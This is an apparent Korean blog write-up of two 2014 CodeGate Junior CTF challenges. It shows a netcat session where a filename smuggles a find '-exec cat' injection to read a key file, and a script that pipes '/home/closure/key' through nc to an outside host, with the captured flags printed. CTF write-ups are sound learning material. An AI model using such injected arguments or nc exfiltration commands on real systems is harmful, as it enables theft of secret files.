상세 컨텐츠

본문 제목

2014 CodeGate Junior PreQual - Closure, RunCommand

0x10 정보보안/0x13 Write-Up

by sweetchip 2014. 2. 16. 14:21

본문

반응형





Closure -----


closure


C:\Users\Administrator>nc 58.229.183.22 2020

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

1. Login

2. Create Account

3. Quit

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

$ 2

Username: 5

[531320059] user created.

$ 1

Username: 531320059

login success.

##################################

1. create file

2. check file list

3. Log out

##################################

# 1

[ ] input filename to write : ~ -name key -exec cat {}

[ ] input contents of this file : (MAX 1024 bytes)

123123

[ ] Write Done!


2

# sandbox

hoi

;


1024

kkk


awef


key

sambalbij


aa

?담뀋?밤꽩?뉎꽮?담뀋?밤꽩?뉎꽮

dfsafsda

key

yes

\/home

testtest

2

3

asd

key

'home/sandbox';

12345


'

/home

contenta

cat /home/runcommand/key

key -exec cat {}

asd


keykey

1

cat /home/runcommand/key

1024

key

ls

codegate

/bin/sh ls

123

2

123

"SDFSDF"SDF"SDF""@$E"@$@"$@"#!"""""

test

124124124

"&%^&%^&^%"%^&"

key

DUD3_GOOD_KEY_IS_GOLD_KEY


#


key : DUD3_GOOD_KEY_IS_GOLD_KEY



Run Command ------------

바이너리 없음.



#######################################################################

C:\Users\Administrator>nc -lvp 9091

listening on [any] 9091 ...

58.229.183.21: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.21] 52080: NO_DATA

HIGH5_TO_BUGHunT3RS


guest@codegate:/tmp$ cat swswsw_cmd

sh swswswshguest@codegate:/tmp$


guest@codegate:/tmp$ cat swswswsh

cat /home/closure/key | nc 220.117.247.200 9091


key : HIGH5_TO_BUGHunT3RS



반응형

관련글 더보기